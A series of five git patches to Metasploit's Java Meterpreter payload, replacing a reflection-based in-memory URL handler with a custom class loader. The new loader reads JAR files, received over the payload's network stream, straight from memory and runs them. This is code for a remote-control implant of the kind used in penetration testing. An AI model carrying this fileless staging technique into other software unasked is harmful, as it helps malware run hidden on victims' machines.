From b158f2c4e4a6fd25393c029a935cf457cb9262dc Mon Sep 17 00:00:00 2001 From: Ashley Donaldson <smashery@gmail.com> Date: Fri, 8 Sep 2023 16:35:13 +1000 Subject: [PATCH 1/5] Initial work to replace URL hack - manually parse a JAR file --- .../meterpreter/JarFileClassLoader.java | 52 +++++++++ .../MemoryBufferURLConnection.java | 108 ------------------ .../MemoryBufferURLStreamHandler.java | 27 ----- .../java/javapayload/stage/Meterpreter.java | 12 +- .../javapayload/stage/MeterpreterTest.java | 15 --- .../src/test/java/metasploit/PayloadTest.java | 8 +- .../metasploit/meterpreter/Meterpreter.java | 4 +- 7 files changed, 67 insertions(+), 159 deletions(-) create mode 100755 java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java delete mode 100644 java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java delete mode 100644 java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java new file mode 100755 index 00000000..a49a9ac7 --- /dev/null +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -0,0 +1,52 @@ +package com.metasploit.meterpreter; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.util.HashMap; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipEntry; + +public class JarFileClassLoader extends ClassLoader { + + HashMap<String, byte[]> classBytes = new HashMap(); + + public void addJarFile(byte[] jarFile) throws java.io.IOException { + ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile)); + ZipEntry zipEntry; + while ((zipEntry = zipReader.getNextEntry()) != null) { + String name = zipEntry.getName(); + String classSuffix = ".class"; + if (name.endsWith(classSuffix)) { + ByteArrayOutputStream classStream = new ByteArrayOutputStream(); + final byte[] classfile = new byte[10000]; + + int result; + while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) { + classStream.write(classfile, 0, result); + } + + String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length()); + classBytes.put(packagedName, classStream.toByteArray()); + } + } + } + + @Override + public Class findClass(String name) throws ClassNotFoundException { + byte[] classfile = classBytes.getOrDefault(name, null); + if (classfile == null) { + throw new ClassNotFoundException(); + } + return defineClass(name, classfile, 0, classfile.length, null); + } + + @Override + public Class loadClass(String name) throws ClassNotFoundException { + try { + return super.loadClass(name); + } catch (ClassNotFoundException e) { + return findClass(name); + } + } +} + diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java deleted file mode 100644 index f9a60e27..00000000 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLConnection.java +++ /dev/null @@ -1,108 +0,0 @@ -package com.metasploit.meterpreter; - -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.lang.reflect.Field; -import java.net.MalformedURLException; -import java.net.URL; -import java.net.URLConnection; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; - -/** - * An {@link URLConnection} for an URL that is stored completely in memory. - * - * @author mihi - */ -public class MemoryBufferURLConnection extends URLConnection { - - private static List files; - - static { - // tweak the cache of already loaded protocol handlers via reflection - try { - Field fld; - try { - fld = URL.class.getDeclaredField("handlers"); - } catch (NoSuchFieldException ex) { - try { - // GNU Classpath (libgcj) calls this field differently - fld = URL.class.getDeclaredField("ph_cache"); - } catch (NoSuchFieldException ex2) { - // throw the original exception - throw ex; - } - } - fld.setAccessible(true); - Map handlers = (Map) fld.get(null); - // Note that although this is a static initializer, it can happen - // that two threads are entering this spot at the same time: When - // there is more than one classloader context (e. g. in a servlet - // container with Spawn=0) and more than one of them is loading - // a copy of this class at the same time. Work around this by - // letting all of them use the same URL stream handler object. - synchronized (handlers) { - // do not use the "real" class name here as the same class - // loaded in different classloader contexts is not the same - // one for Java -> ClassCastException - Object /*MemoryBufferURLStreamHandler*/ handler; - - if (handlers.containsKey("metasploitmembuff")) { - handler = handlers.get("metasploitmembuff"); - } else { - handler = new MemoryBufferURLStreamHandler(); - handlers.put("metasploitmembuff", handler); - } - - // for the same reason, use reflection to obtain the files List - files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]); - } - } catch (Exception ex) { - throw new RuntimeException(ex.toString()); - } - } - - /** - * Create a new URL from a byte array and its content type. - */ - public static URL createURL(byte[] data, String contentType) throws MalformedURLException { - synchronized (files) { - files.add(data); - return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType); - } - } - - private final byte[] data; - private final String contentType; - - protected MemoryBufferURLConnection(URL url) { - super(url); - String file = url.getFile(); - int pos = file.indexOf('/'); - synchronized (files) { - data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos))); - } - contentType = file.substring(pos + 1); - } - - @Override - public void connect() throws IOException { - } - - @Override - public InputStream getInputStream() throws IOException { - return new ByteArrayInputStream(data); - } - - @Override - public int getContentLength() { - return data.length; - } - - @Override - public String getContentType() { - return contentType; - } -} diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java deleted file mode 100644 index b5a6192d..00000000 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/MemoryBufferURLStreamHandler.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.metasploit.meterpreter; - -import java.io.IOException; -import java.net.URL; -import java.net.URLConnection; -import java.net.URLStreamHandler; -import java.util.ArrayList; -import java.util.List; - -/** - * An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection} - * - * @author mihi - */ -public class MemoryBufferURLStreamHandler extends URLStreamHandler { - - private List files = new ArrayList(); - - @Override - protected URLConnection openConnection(URL u) throws IOException { - return new MemoryBufferURLConnection(u); - } - - public List getFiles() { - return files; - } -} diff --git a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java index ef10e2c1..f877eb41 100644 --- a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java +++ b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java @@ -5,20 +5,24 @@ import java.io.OutputStream; import java.net.URL; import java.net.URLClassLoader; -import com.metasploit.meterpreter.MemoryBufferURLConnection; +import metasploit.Payload; + +import com.metasploit.meterpreter.JarFileClassLoader; /** * Meterpreter Java Payload Proxy */ -public class Meterpreter implements Stage { +public class Meterpreter implements Stage { public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception { boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect"); int coreLen = in.readInt(); byte[] core = new byte[coreLen]; in.readFully(core); - URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar"); - new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError)); + JarFileClassLoader loader = new JarFileClassLoader(); + loader.addJarFile(core); + Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter"); + meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError)); in.close(); out.close(); } diff --git a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java index eb7c55a0..a5198727 100644 --- a/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java +++ b/java/javapayload/src/test/java/javapayload/stage/MeterpreterTest.java @@ -13,25 +13,10 @@ import java.util.zip.ZipEntry; import junit.framework.Assert; import junit.framework.TestCase; -import com.metasploit.meterpreter.MemoryBufferURLConnection; import com.metasploit.meterpreter.MeterpDummy; public class MeterpreterTest extends TestCase { - public void testMemoryBufferURLConnection() throws Exception { - final String CONTENT_TYPE = "application/x-unit-test-example"; - byte[] randomData = new byte[4096]; - new Random().nextBytes(randomData); - URL url = MemoryBufferURLConnection.createURL(randomData, CONTENT_TYPE); - URLConnection uc = url.openConnection(); - uc.connect(); - Assert.assertEquals(CONTENT_TYPE, uc.getContentType()); - Assert.assertEquals(4096, uc.getContentLength()); - ByteArrayOutputStream out = new ByteArrayOutputStream(); - StreamForwarder.forward(uc.getInputStream(), out); - Assert.assertEquals(new String(randomData, "ISO-8859-1"), out.toString("ISO-8859-1")); - } - public void testMeterpreterStage() throws Exception { // build dummy Meterpreter stage ByteArrayOutputStream baos = new ByteArrayOutputStream(); diff --git a/java/javapayload/src/test/java/metasploit/PayloadTest.java b/java/javapayload/src/test/java/metasploit/PayloadTest.java index 809f21e3..8621018a 100644 --- a/java/javapayload/src/test/java/metasploit/PayloadTest.java +++ b/java/javapayload/src/test/java/metasploit/PayloadTest.java @@ -39,7 +39,7 @@ import javax.crypto.spec.SecretKeySpec; import junit.framework.Assert; import junit.framework.TestCase; -import com.metasploit.meterpreter.MemoryBufferURLConnection; +import com.metasploit.meterpreter.JarFileClassLoader; public class PayloadTest extends TestCase { @@ -159,7 +159,7 @@ public class PayloadTest extends TestCase { return setUpClassLoader(metasploitDat, extraClass).loadClass("metasploit.Payload").getMethod("main", new Class[]{String[].class}).invoke(null, new Object[]{new String[0]}); } - private URLClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception { + private JarFileClassLoader setUpClassLoader(Properties metasploitDat, Class extraClass) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); StreamForwarder.forward(Payload.class.getResourceAsStream(Payload.class.getSimpleName() + ".class"), baos); byte[] payloadClass = baos.toByteArray(), instrumentedPayloadClass = null; @@ -197,7 +197,7 @@ public class PayloadTest extends TestCase { jos.close(); byte[] payloadJar = baos.toByteArray(); final byte[] classToDefine = instrumentedPayloadClass; - return new URLClassLoader(new URL[]{MemoryBufferURLConnection.createURL(payloadJar, "application/jar")}) { + JarFileClassLoader jfcl = new JarFileClassLoader() { { if (classToDefine != null) { defineClass(null, classToDefine, 0, classToDefine.length); @@ -227,6 +227,8 @@ public class PayloadTest extends TestCase { return super.getResource(name); } }; + jfcl.addJarFile(payloadJar); + return jfcl; } private void handleSocketCommunication(Socket socket) throws Exception { diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 023bb373..5dd47c0a 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -292,8 +292,8 @@ public class Meterpreter { public Integer[] loadExtension(byte[] data) throws Exception { ClassLoader classLoader = getClass().getClassLoader(); if (loadExtensions) { - URL url = MemoryBufferURLConnection.createURL(data, "application/jar"); - classLoader = new URLClassLoader(new URL[]{url}, classLoader); + JarFileClassLoader jarLoader = (JarFileClassLoader)classLoader; + jarLoader.addJarFile(data); } JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data)); String loaderName = jis.getManifest().getMainAttributes().getValue("Extension-Loader"); From 0a71bcd5ea896ca8d583ef8a27c3fac3148fa5fa Mon Sep 17 00:00:00 2001 From: Ashley Donaldson <smashery@gmail.com> Date: Mon, 11 Sep 2023 10:05:33 +1000 Subject: [PATCH 2/5] Support resource files in in-memory jar file --- .../meterpreter/JarFileClassLoader.java | 34 ++++++++++++------- 1 file changed, 21 insertions(+), 13 deletions(-) diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java index a49a9ac7..df26691c 100755 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -1,6 +1,7 @@ package com.metasploit.meterpreter; import java.io.ByteArrayInputStream; +import java.io.InputStream; import java.io.ByteArrayOutputStream; import java.util.HashMap; import java.util.zip.ZipInputStream; @@ -8,32 +9,39 @@ import java.util.zip.ZipEntry; public class JarFileClassLoader extends ClassLoader { - HashMap<String, byte[]> classBytes = new HashMap(); + HashMap<String, byte[]> resourceBytes = new HashMap(); public void addJarFile(byte[] jarFile) throws java.io.IOException { ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile)); ZipEntry zipEntry; while ((zipEntry = zipReader.getNextEntry()) != null) { String name = zipEntry.getName(); - String classSuffix = ".class"; - if (name.endsWith(classSuffix)) { - ByteArrayOutputStream classStream = new ByteArrayOutputStream(); - final byte[] classfile = new byte[10000]; + String packagedName = name; + ByteArrayOutputStream resourceStream = new ByteArrayOutputStream(); + final byte[] bytes = new byte[10000]; - int result; - while ((result = zipReader.read(classfile, 0, classfile.length)) != -1) { - classStream.write(classfile, 0, result); - } - - String packagedName = name.replace("/",".").replace("\\",".").substring(0, name.length() - classSuffix.length()); - classBytes.put(packagedName, classStream.toByteArray()); + int result; + while ((result = zipReader.read(bytes, 0, bytes.length)) != -1) { + resourceStream.write(bytes, 0, result); } + + resourceBytes.put(packagedName, resourceStream.toByteArray()); } } + @Override + public InputStream getResourceAsStream(String name) { + byte[] resource = resourceBytes.getOrDefault(name, null); + if (resource == null) { + return null; + } + return new ByteArrayInputStream(resource); + } + @Override public Class findClass(String name) throws ClassNotFoundException { - byte[] classfile = classBytes.getOrDefault(name, null); + String packagedName = name.replace(".","/") + ".class"; + byte[] classfile = resourceBytes.getOrDefault(packagedName, null); if (classfile == null) { throw new ClassNotFoundException(); } From dba2cb92638578e1ce6e3bb1481afbe96e32b898 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson <smashery@gmail.com> Date: Mon, 11 Sep 2023 12:47:03 +1000 Subject: [PATCH 3/5] Bridge the classloaders using self-reference --- .../java/com/metasploit/meterpreter/JarFileClassLoader.java | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java index df26691c..c4577174 100755 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -50,6 +50,12 @@ public class JarFileClassLoader extends ClassLoader { @Override public Class loadClass(String name) throws ClassNotFoundException { + // The dynamic loading requires knowledge of this classloader, but + // the default classloader doesn't know about it; so we bridge that + // gap by returning our own class when requested. + if (name.equals(getClass().getName())) { + return getClass(); + } try { return super.loadClass(name); } catch (ClassNotFoundException e) { From 7cee3f76e1c0e3881c542637707dd5d15034ce67 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson <smashery@gmail.com> Date: Mon, 11 Sep 2023 15:13:21 +1000 Subject: [PATCH 4/5] Compatibilise with older Javas --- .../com/metasploit/meterpreter/JarFileClassLoader.java | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java index c4577174..3edcbd15 100755 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -31,20 +31,20 @@ public class JarFileClassLoader extends ClassLoader { @Override public InputStream getResourceAsStream(String name) { - byte[] resource = resourceBytes.getOrDefault(name, null); - if (resource == null) { + if (!resourceBytes.containsKey(name)) { return null; } + byte[] resource = (byte[])resourceBytes.get(name); return new ByteArrayInputStream(resource); } @Override public Class findClass(String name) throws ClassNotFoundException { String packagedName = name.replace(".","/") + ".class"; - byte[] classfile = resourceBytes.getOrDefault(packagedName, null); - if (classfile == null) { + if (!resourceBytes.containsKey(packagedName)) { throw new ClassNotFoundException(); } + byte[] classfile = (byte[])resourceBytes.get(packagedName); return defineClass(name, classfile, 0, classfile.length, null); } From ab44891b799ef88398bbffe35f2a0761e7ffa4ec Mon Sep 17 00:00:00 2001 From: Ashley Donaldson <smashery@gmail.com> Date: Mon, 25 Sep 2023 10:38:50 +1000 Subject: [PATCH 5/5] Neater use of classloader, from review --- .../meterpreter/JarFileClassLoader.java | 16 +++++++++------- .../main/java/javapayload/stage/Meterpreter.java | 2 +- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java index 3edcbd15..642cac00 100755 --- a/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java +++ b/java/javapayload/src/main/java/com/metasploit/meterpreter/JarFileClassLoader.java @@ -11,14 +11,22 @@ public class JarFileClassLoader extends ClassLoader { HashMap<String, byte[]> resourceBytes = new HashMap(); + public JarFileClassLoader(ClassLoader parent) { + super(parent); + } + + public JarFileClassLoader() { + super(); + } + public void addJarFile(byte[] jarFile) throws java.io.IOException { ZipInputStream zipReader = new ZipInputStream(new ByteArrayInputStream(jarFile)); ZipEntry zipEntry; + final byte[] bytes = new byte[10000]; while ((zipEntry = zipReader.getNextEntry()) != null) { String name = zipEntry.getName(); String packagedName = name; ByteArrayOutputStream resourceStream = new ByteArrayOutputStream(); - final byte[] bytes = new byte[10000]; int result; while ((result = zipReader.read(bytes, 0, bytes.length)) != -1) { @@ -50,12 +58,6 @@ public class JarFileClassLoader extends ClassLoader { @Override public Class loadClass(String name) throws ClassNotFoundException { - // The dynamic loading requires knowledge of this classloader, but - // the default classloader doesn't know about it; so we bridge that - // gap by returning our own class when requested. - if (name.equals(getClass().getName())) { - return getClass(); - } try { return super.loadClass(name); } catch (ClassNotFoundException e) { diff --git a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java index f877eb41..6b220e26 100644 --- a/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java +++ b/java/javapayload/src/main/java/javapayload/stage/Meterpreter.java @@ -19,7 +19,7 @@ public class Meterpreter implements Stage { int coreLen = in.readInt(); byte[] core = new byte[coreLen]; in.readFully(core); - JarFileClassLoader loader = new JarFileClassLoader(); + JarFileClassLoader loader = new JarFileClassLoader(getClass().getClassLoader()); loader.addJarFile(core); Class meterpCore = loader.loadClass("com.metasploit.meterpreter.Meterpreter"); meterpCore.getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(in, out, Boolean.TRUE, Boolean.valueOf(!noRedirectError));